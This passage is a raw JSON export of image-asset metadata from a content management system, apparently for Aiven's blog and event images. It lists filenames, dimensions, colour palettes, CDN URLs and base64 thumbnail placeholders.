1SlKoRP/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#48352f","foreground":"#fff","population":4.49,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c4c84","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#48352f","foreground":"#fff","population":4.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b1bad6","foreground":"#000","population":0.22,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dda798","foreground":"#000","population":3.71,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a67061","foreground":"#fff","population":0.8,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bd8573","foreground":"#fff","population":0.55,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"zeljko-dodlek.1024x1024.jpg","path":"images/sczeoy4w/production/4c8db9f3327a290949bcc9c1bc6dd1cd35ad80cc-1024x1024.jpg","sha1hash":"4c8db9f3327a290949bcc9c1bc6dd1cd35ad80cc","size":179246,"uploadId":"NCCzrqSLZuXZsa333ZEJYshxIAvQEXEa","url":"https://cdn.sanity.io/images/sczeoy4w/production/4c8db9f3327a290949bcc9c1bc6dd1cd35ad80cc-1024x1024.jpg"} {"_createdAt":"2023-08-25T09:59:51Z","_id":"image-1007d93722cce4ccff54737915530cdbf284f599-1567x844-png","_rev":"JgIs2qI3CUllaKCG3TvKYj","_type":"sanity.imageAsset","_updatedAt":"2023-08-25T09:59:51Z","assetId":"1007d93722cce4ccff54737915530cdbf284f599","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB8;fx-.ISs:My_4a^M{ozRkDiM{t7ofoe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACcUlEQVQokSXNaU/aAACA4f4CxdZC6UkPbvAImZs3rIJAKUehlEuhcjgg4NQRASMyncMIOLy2TPdjt2nyfn3zACAqw7iiI9Mok8e4IspUULaKcU3CfEhaWwZbl3H0GGffYOuQ5s+U5YAyNxG6DKKZaSQBkKbd+aXaqufYvd3lgz2Pv7++1f/g6W/4vnvFsVec8KF7PvSw6R+5/Vfbkaut0GD+fQehyzNoDuDs6qavFU1exJQrZWeUVe/imdtA7CaSnGQKz6nCn0TuJZZ5EeWHqDJO5+8S2Z/vNga48UhraABG+x4faMfT38T4RSx1nVUnSv5OTIzExA8590veeY5nX6TXOSgNRfnWK95bXZeosY2begBn+y8Ho72PgdMt4VxMDER5KEhDQRqL8r0QfwxKT2Hldzj5xAuDxeUu52yhbENHH6BcGzA5Sx7/iRDreYUzf+QiFB8EpeugdOMLD3lh5A6M3YGJL/IYlCbu7UvGXoewXRDNQbiqpWoAY1XX+C/+8Fkg2o8kB1Hlxh8ZrPJfba4ON3fCzXWNC+fmxb5lscM5GohBBbH8WzC5DyBUyjpfdi03ltaPVzztFc+pa61rXmihXBOmqjBV09IHOvoIJusglp9Bs7NEBaaqEL4H4UVAr5dYWjFaC7S1hHNFPVPWM1WErmsNNYgogVgBIoow+WmWqMzosxp9Gib3YaoKYrsaJAXQeMzBKg5nkbNX9LQK4SpMlrWGmo6uw2QJxHIQvgOTpVliT4OkNYjyaqrTiDKllQCSTjFshjUXDJYiYSxhxn3CVCfNTcpySJgaKFtC2RLG1bRUUYMo0zr5zZ/SJf7NfwG2B7cCUySEqQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#362d5b","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041a74","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d8ddeb","foreground":"#000","population":10.41,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8ddeb","foreground":"#000","population":10.41,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#959be4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696f93","foreground":"#fff","population":2.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#252e91","foreground":"#fff","population":3.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"apache-kafka-http-sink.png","path":"images/sczeoy4w/production/1007d93722cce4ccff54737915530cdbf284f599-1567x844.png","sha1hash":"1007d93722cce4ccff54737915530cdbf284f599","size":143657,"uploadId":"osf4xpapWQWFevG2lAhrueLp7XOlIso8","url":"https://cdn.sanity.io/images/sczeoy4w/production/1007d93722cce4ccff54737915530cdbf284f599-1567x844.png"} {"_createdAt":"2023-08-29T10:49:15Z","_id":"image-0d52e99e38c61728bc276036b5e91010bce5a762-1526x856-png","_rev":"dr2SSK1V56AXgVok9RQUzh","_type":"sanity.imageAsset","_updatedAt":"2023-08-29T10:49:15Z","assetId":"0d52e99e38c61728bc276036b5e91010bce5a762","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8SPX]%3EM=Y_NTwrYOYpIv}^kx^$iM{S6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7827102803738317,"height":856,"width":1526},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAACAklEQVQokY2S6XKjMBCEef+H82YdZw/iC2IwwcaAEEL3tyWy2fxdVU1NSZrp6pnujP89MRKjw9qZZR5Qi2Q0ml5rlNOE4IghkHnv0VqzLMu/rJRacwpjDN6HFdC5mYesqUTF29xyki172VLOHYOWeGfJUvPlcuF0OnE+nzkcDuR5zuvrK8fjkaZpWLRe2fmlRnQvtP2FyzRSigeluPNraNmLlsnMZFLKFeT5+Zndbsd2u2Wz2fD09LTeq6pamcegieqIv39nvte0g+LWj3TDwO/+zm6seZiJbNEL9fuVfXFgXxw5lifOZbGyruuaYRhwzhGCwS4V7vGCub8xio5O3GiGnp/9jXxqGa0mM85ylw+qvqHqr1yHd3qZlv6xU2stIQRc8EjTo8YS0zdoNTAZQSUn8rGnUROzDWQhBrS3q1IpFq+xwRFWVb/ChcjiLErPyFkxKYtQllZqbmpGO40PkSyph14IUqJntSqcmCX1vxwT12LlLMJqpLGIQTLeRuSssd4Qg1nrsugd8b1CH3KapHRRfCi7LH/ZfXgwpJGd4mEEWo24tsZWF4IQJIz0n6bKYvDwaDFVSVfXXK9Xuq5b/fcJmAqdd2iffCrw94r4lhOLnHAtcZPA+YBfAVNTCCTgtPzPSO/wAWh9RFuHMRo7dfj6B7HYEMtvuGKLul0x1uFj4A8TX00N7eppGwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#443c44","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#13a65d","foreground":"#fff","population":0.37,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#13a65d","foreground":"#fff","population":0.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9eceb1","foreground":"#000","population":0.33,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6ca4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5485ab","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ebd212","foreground":"#000","population":0.08,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Breakthrough Partner of the Year.png","path":"images/sczeoy4w/production/0d52e99e38c61728bc276036b5e91010bce5a762-1526x856.png","sha1hash":"0d52e99e38c61728bc276036b5e91010bce5a762","size":348963,"uploadId":"HZRqOTXe277Hw83XipOGVyHYWGWnvs2R","url":"https://cdn.sanity.io/images/sczeoy4w/production/0d52e99e38c61728bc276036b5e91010bce5a762-1526x856.png"} {"_createdAt":"2023-07-19T09:11:25Z","_id":"image-3661fa2f5f9e582c3b4f967803e2a25180e616a5-1567x844-png","_rev":"AtrwQtGBHkMc57FAUb9vUG","_type":"sanity.imageAsset","_updatedAt":"2023-07-19T09:47:12Z","altText":"Announcing Aiven Ideas","assetId":"3661fa2f5f9e582c3b4f967803e2a25180e616a5","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7TNpA*ZgH-7eA_NkqeTi|eUeme9eoggg2","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACa0lEQVQokS3SW0+cZRiF4bcE2WkaIKSEsmkEseJMgRawNaBWoEbTIze1QoYBCqHW0qglVQoEyqYw4ABDABNjTPyTY0z4+l5migfr9M69nvUE35Rzv5LvqhivJFPFZBXTVcxUMlvB91U8rma+koWLbHVQ6OOwh1wHuXb2uyh0CyYbmL/Kz9d4muaXbhZ7eN7N8jVW0qymWe9ms5udXk6H+ftL/rrL6SD7KfJXOUgLZi/zrJ/lQVYG2Rwh9zk7o+RGyN8hP8LBKIcjFD7h91H+/II/7nA6RKGXwzRHvYKZpnPg8w/PgdufsXeX3ChbQ+x8zN5t9oc5uM3eTXZLpu+y3c5OO/nzugo9gulLLFxn5SNefMrmMFvDbAyx2MVCKwvN/NrKYgtLzay1sNnGyyvnNzxIv4aVLIOJOp68x+JNlm6xeIPlPlb6+LGZ2TeYvcBcGY/K+Kma1SZyneRT53VPPuBkgKPrgnvljL9JtpapWqYvMlvLw3pmS2sHHgTmLvC4nKc158Cdd9gtQbs4usHxAMf9QvwqxNf5OsR4L8R4P8Q4FmLMhBizIcapEM2E6IeKGJ/VRcuNMa5djtabo7VL0XpjjLsd0UEqKvTEYKyGbD2T9Uy8xXjJOJAJZANTgZnAkxrW2tjuZOttNlpYbWC1npct//9haZSJusRcW+JhW+JBQyJTkRgPiUxIZENiKiRxJiTmqxMvrryST7/y2/tRrjPGrdZooykqGRZ6opOBGHxbUTRWUzReSmXRWFnReCjKhKJsKJoORTOhGB+VFy01/hP3Uv/Gg54z+dRZ3O08k+s4s586c9yfOL2V/Adn2DhMEC+d3QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":13.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#915207","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8bd77","foreground":"#000","population":0.59,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":13.65,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Introducing_Aiven_Ideas_our_public_product_roadmap_blog.png","path":"images/sczeoy4w/production/3661fa2f5f9e582c3b4f967803e2a25180e616a5-1567x844.png","sha1hash":"3661fa2f5f9e582c3b4f967803e2a25180e616a5","size":104908,"title":null,"uploadId":"JsKhiz1f88NRXy6iNy3HIvyXFIGy9Hgv","url":"https://cdn.sanity.io/images/sczeoy4w/production/3661fa2f5f9e582c3b4f967803e2a25180e616a5-1567x844.png"} {"_createdAt":"2023-07-19T09:13:53Z","_id":"image-a7af92161144f4cf98fbe33bc917bec611e50d1b-1223x1209-png","_rev":"Q0E4krIrrKzFT4b6rSuesZ","_type":"sanity.imageAsset","_updatedAt":"2023-07-19T09:47:29Z","altText":"Aiven Ideas home screen","assetId":"a7af92161144f4cf98fbe33bc917bec611e50d1b","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e5S$owIpE1ogof~pM{MyjsV@IURiV@jFWA?bV[IVRij]M{slfOoxsp","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.011579818031431,"height":1209,"width":1223},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAA7DAAAOwwHHb6hkAAACIklEQVQ4jY1UCW7cMAz0/x8Z5Cg22bUt6+ItyYWkTdIjDTogDIrQcEiT9iLrmvYNIVsprbXz32itlVLMTNVEi2pd/PV6fX1bt213Pqasat+Qa61lwEotpS2Xy9vj84/H5x8PTy+X1xsSf6PfWk8x0P1l24+32/p6XddtDzGxyEhdh013oLX6zpvk8zyXEJPz4fAhZUBiJCZmZmEWevdF1T5RRsLOXogFgBGZRWWaqqqpdp9ZiYRFO6d+YkovVqpIVZ2Rjo/yam1mVaSIlvJX0a21TlYto5g6cv92qda7fYkFiQAQcBqxSK31/D8sKaMPyYcUE+SMRNybK71gs6nZ7/UWSlXr452RrhxJXIghJiLp9ZdStJCntAMkHXW0s52m4kO4uRhBR/+DHFiPfCCGYjZbK2J4i/niKckQ7/dMYD/eXtb1yPzx8hZSS4hIJGJqXada1cwcSchUq/U6WzGBnI6UgfSTHFEvG15u4A4BtNmnaiUqgIZoMqZYRMGnY085y2y7k12Wh2t6uiR3MEtfnfH1jAlrn/8ccRXBw/vdI/Jcr07OJC6ij0Rsd+qXqKWMvStD975hIWUfUogZia3T+6rcP4zp/3Kcq/kucS4xwe7C7kKMgMgAlDL+YTljSt0BIGZlnhXUBYB3F7fN+5BjROfi7oJz0fXncI44jj3ifUqJUhZE7X8SIsuZUyIAzsAxdhEA7sdMOff4sLuDKABCpGb1J7F4j3+m1D+VAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#383b48","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c5970","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a65785","foreground":"#fff","population":0.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5c6a9","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6cbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a65785","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#da4c36","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"a7af92161144f4cf98fbe33bc917bec611e50d1b-1223x1209.png","path":"images/sczeoy4w/production/a7af92161144f4cf98fbe33bc917bec611e50d1b-1223x1209.png","sha1hash":"a7af92161144f4cf98fbe33bc917bec611e50d1b","size":104683,"title":null,"uploadId":"IxQxNCXwYvDKeSOtbEnr6CciwwbZACk2","url":"https://cdn.sanity.io/images/sczeoy4w/production/a7af92161144f4cf98fbe33bc917bec611e50d1b-1223x1209.png"} {"_createdAt":"2023-07-26T10:11:13Z","_id":"image-455bf0b94ea374644dbc8e09c6a8b9d633b93c3d-1200x628-jpg","_rev":"JHBctTLkFjmsOG75HQ5ZUO","_type":"sanity.imageAsset","_updatedAt":"2023-07-26T10:11:13Z","assetId":"455bf0b94ea374644dbc8e09c6a8b9d633b93c3d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M47nbN~GMw-nnfb#o|RiIWNM00IVt2N2bX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAQBAgUH/8QAIBAAAgICAgIDAAAAAAAAAAAAAQIAAwQREiEFYTEycf/EABYBAQEBAAAAAAAAAAAAAAAAAAQCBv/EABoRAAICAwAAAAAAAAAAAAAAAAABAxESMWH/2gAMAwEAAhEDEQA/AOS1YuLT4/Fe/GTlZXyDBh3+yLMMPgJci0ojtoEHvr1MEMxoqBJIHuXqJ5a2dbmoiTrYVjdlSo5V/ke4Rez7mEVlwg//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e346a","foreground":"#fff","population":1.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141f6e","foreground":"#fff","population":11.65,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141f6e","foreground":"#fff","population":11.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#adabd1","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b4bbe4","foreground":"#000","population":1.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aa715c","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ba4447","foreground":"#fff","population":0.13,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Webinar_Whats_new _with_Aiven_Q2Q3_2023_meta.jpg","path":"images/sczeoy4w/production/455bf0b94ea374644dbc8e09c6a8b9d633b93c3d-1200x628.jpg","sha1hash":"455bf0b94ea374644dbc8e09c6a8b9d633b93c3d","size":64085,"uploadId":"ITG6EuQpn04UQrQyDc1QkTrk8hUkdLiO","url":"https://cdn.sanity.io/images/sczeoy4w/production/455bf0b94ea374644dbc8e09c6a8b9d633b93c3d-1200x628.jpg"} {"_createdAt":"2023-08-02T10:26:46Z","_id":"image-69350a6212ebd78255bef366655eb83d3c6a08cd-1200x628-png","_rev":"yVtK81NbbqTTUsUfL57zaI","_type":"sanity.imageAsset","_updatedAt":"2023-08-02T10:26:46Z","assetId":"69350a6212ebd78255bef366655eb83d3c6a08cd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9BfSg0vvzO_[Qx-Th}N0lxv-pVrE,$f$x","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACwElEQVQokS2RW0+SAQCG+QOdRMTkkEFKDjUrEvHAGRGE8OMTRRATgRIFLaqZqbMs6UAuXQc7ra212qK1arlcXVQXrdbWVl10VWvrot/xNK2L9/bZ8+yVbNnag1afoMGYwdCSo8kygck2RYt9FqNlbXPYvQXaA4tYPYs0tCygM1yntuUxRvsz+gOXuZoa5t2kyM+8B0mpIkz9vhHsHZN4u07jE+fxCnm8wnk8XQU8XQsI4at099/EH1qm2XkFvXGZ2uZH7LU+xe++wmxknIeZAZ4diSCRqyPsMWVx758hEDqLvzuPy3cGl2+eTqFAoGcJoe8aXeHr7O+5gdO/zD7rLfZYHmKwFnGYLzPmyTIvJsgFxv8ZVtelMJpzmF2TtLmmaTSfxNA6tZ5ssp3BZMtjtJ3DZC/Q7FjC5LxNm6eIq/MRQ85ZLjqCXHQIjLYdRLJJHkK+LUrlzgQ7aoepqstQVX+YqvocGv1RVLqjKKuPo9KdQF0zg273eZqdd+noXiHc95x8cIKVjiaKDiMXLAEkG2Qim8t7kCojlKpilG2Ls1VzkArtCOWaDPLKMVTacaprDlOjP06dIY+t8wHiwBsOJN4y1bvAfa+fe652ZqyD/4CbykTW3i5RRChRDCBVxpGpUsjUIyg0WRp3jxB1Jkn7ksT804TCRWKHPjI0+plo3wsOuBcZdBbw2W4i2VIWRFkhsl0TRV0dp7wyjlQRR6pMUqpKo9Zm8LcmWYj18mRM4O54lmOjRYZz30gf+47Q/x6T6yWN9lX22leRlJQJaJRBdupi7NCnqNAm1g1L14DqNKr/wDspka+n3Hw4m6Rw8gm56R/kpn8Rin+isf0VDdZVGiwrSDbKgkjlIjJFLzJVFKlygJJ1w7XkNOXbs7QahlkaDPFj3sn3S0Ncm3vO5NxvJub+0Jf6QpP7NbvML6hve8pfOnuQzOyylL8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4379","foreground":"#fff","population":1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c0470","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e14c11","foreground":"#fff","population":1.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a7a9d3","foreground":"#000","population":0.91,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb9c37","foreground":"#000","population":0.25,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5caf","foreground":"#fff","population":0.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e14c11","foreground":"#fff","population":1.18,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"General event promo template Color.png","path":"images/sczeoy4w/production/69350a6212ebd78255bef366655eb83d3c6a08cd-1200x628.png","sha1hash":"69350a6212ebd78255bef366655eb83d3c6a08cd","size":241264,"uploadId":"Puuj9EcfJoXbqHZ3eqpadjcg39oO6Nk4","url":"https://cdn.sanity.io/images/sczeoy4w/production/69350a6212ebd78255bef366655eb83d3c6a08cd-1200x628.png"} {"_createdAt":"2023-09-06T11:52:40Z","_id":"image-4eb69b6a035974fdf05a6c5b22dd12bc4ba8ff33-1567x844-png","_rev":"jBJgpqpGruZvOgVMUBIMeR","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T11:52:40Z","assetId":"4eb69b6a035974fdf05a6c5b22dd12bc4ba8ff33","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACdUlEQVQokSXQCVLaAACF4ZxAkACBrBCSEByxalsddVSKGgRCYgiQBJAdI6gorbvV0oILXXAdRax3bWkP8M3/5gEgkoBwDSJSViINETmU1gl2E2NqGFPH2T1i6JgcPiOHGyhzYHFUzbhuIXQQyRltmgGKASSbm5zd9nEHU77didk9f7DBCRe+5dY8d+EP/Vjkr/3h27nAjXeiYSerIFqw4LoFr5jQwiCcBtze0mLoSNbOhXiTizR4+VLWOpJ6vaLcxlKP8fRzNNlbUXsfgj89Yx/tpA45d2yuPci5Y3VsAeyb8lL4WFKaknoRlppcpClpv9TsvZx66OPVnpx8SWReY+knf+icHT/APZ8R5gSmDhHmDPCMlue5/YXgUVBs8NFWQGjx8ndJuxESN6LyENW6kfhTJN5dUR/5WGeOa3knTlGmDjm3YeoQ8Iyu+QJ9vCx+iWpXQrwdltui0pG0OyXzrGZfosmeoHRF5UFUOlzk29jUJ5gsgmjeSlT7s32BfY4/WQqf8vK5mGhL2q94+k5O3mu550z5Vcn+lrSuqNwGhNboZB1ndDOWNyFZC64DBL068n797XRtbHL73czutP/EH2ou8pczC835QGtZbC+E27NLV9P+r+NTuzhT+v82iBZAtAggiEy5VGYo72BLsKsAu9Zw9ybh2UHpGkJVMEbHmHWU3kSois2RA5F0HxMVE5Ix2lSAxKJeWvGOlOhh3e7Mg2jejJetRNXq2DBjxUE4ZULSZqxoQgsGm2qAlH/NvMGmDFijAO5USSrlYnMOdxGjSwitY8wG7q4RbB1jtmBXCaFKCFW1EkWjTTFA8UF7ymjXBqDYX/wHGkG8AV0k+xcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#372f5d","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":11.34,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d9deeb","foreground":"#000","population":11.37,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d9deeb","foreground":"#000","population":11.37,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7478bd","foreground":"#fff","population":0.61,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686f93","foreground":"#fff","population":2.27,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#252e90","foreground":"#fff","population":3.58,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"data_refinement_in_action_flink_for_data_transformation_into_bigquery.png","path":"images/sczeoy4w/production/4eb69b6a035974fdf05a6c5b22dd12bc4ba8ff33-1567x844.png","sha1hash":"4eb69b6a035974fdf05a6c5b22dd12bc4ba8ff33","size":148597,"uploadId":"3jBH5yLF6gYKJJP481YiYB1H5DM1rwAr","url":"https://cdn.sanity.io/images/sczeoy4w/production/4eb69b6a035974fdf05a6c5b22dd12bc4ba8ff33-1567x844.png"} {"_createdAt":"2023-09-06T11:55:06Z","_id":"image-cf4d56df0a4b20c13b8fa9aa4987626eedf20536-1567x844-png","_rev":"Dk4vsGyYpr9Xi9g7qy1ATs","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T11:55:06Z","assetId":"cf4d56df0a4b20c13b8fa9aa4987626eedf20536","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA6kiE-nM]WBf9?dxtM{R+a~jXt8ofWBoI","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACYElEQVQokSWRa1MSUQCG9w8Ee+Hs2XPO7tkrC9KA4UwypjmOkSma6XJdZOWqCCgSpSlY5lgZHxzNyvq5pc68X5955pmXEUgWqi7WS9gsY72K9AY2WkqwS0N9bexQixwrYyfEPkHme1FtB2gTqE2BVFjJ9cMMo4fLidleMjWYXxw+Tw5mXpzMJE/nlr7Op0YLq5dzS5ePn35Rwh+ReQBoU5BrgDYBbfFyjcMlxo7WX64M8t73tHuRKY4K5Wu3cpPb/Om4N7nNP07x7+yrq4npUXTy81i8T0NtZPaQeQD1nqjtMWakOrdw+Dpzllo7e5O7yHlXxeqv9MaP1PrlSvZmNf97OXObcm4X166Ty99iiYESHuLgAFtHxP7EQOqakWp4fNuO7UQm9mKT7+LPjuNTw+jkMJo4HZ86j09fTMyM4tPnscTAiPQkoytqu1Dfx9YR44dpFmZYKcdhV5C9gFIT1W2odySji8w+Dh4Se0jsgWT2RW1HkCs89jjsCXJVVNuMT3QeAccnZvywwKEST6oBZStAW0DdFbV9aPSRdYSsD6LWFeQ6h0s8KT8M0Cbjhw4L06yU5ZDLY4+X72BAW6LaAWpb1DrQ6ElGX9Q6PClzaCOgbAO1Jcg1Qa4zElrXaFazPGJWgFJ+MIM7c1tQGjypCEod0J2AssWhEovcu6vUFk82WanAGNSJBQuxJ1vBaBPpNUDvm7UO1HcBbfCkJMgeoI2AUmMll5Xy986qX8r7RIehesGwima4ooXqstUgwaZid2ioq4bfKvYeNhvYbBCrLap1Vsr7YZZDGyxyfTDzH/4HaNmcV6gV4uMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#363169","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041a70","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d7dae8","foreground":"#000","population":5.31,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7dae8","foreground":"#000","population":5.31,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#949be5","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#697094","foreground":"#fff","population":0.98,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#232d90","foreground":"#fff","population":2.8,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"getting_started_netlify_aiven.png","path":"images/sczeoy4w/production/cf4d56df0a4b20c13b8fa9aa4987626eedf20536-1567x844.png","sha1hash":"cf4d56df0a4b20c13b8fa9aa4987626eedf2053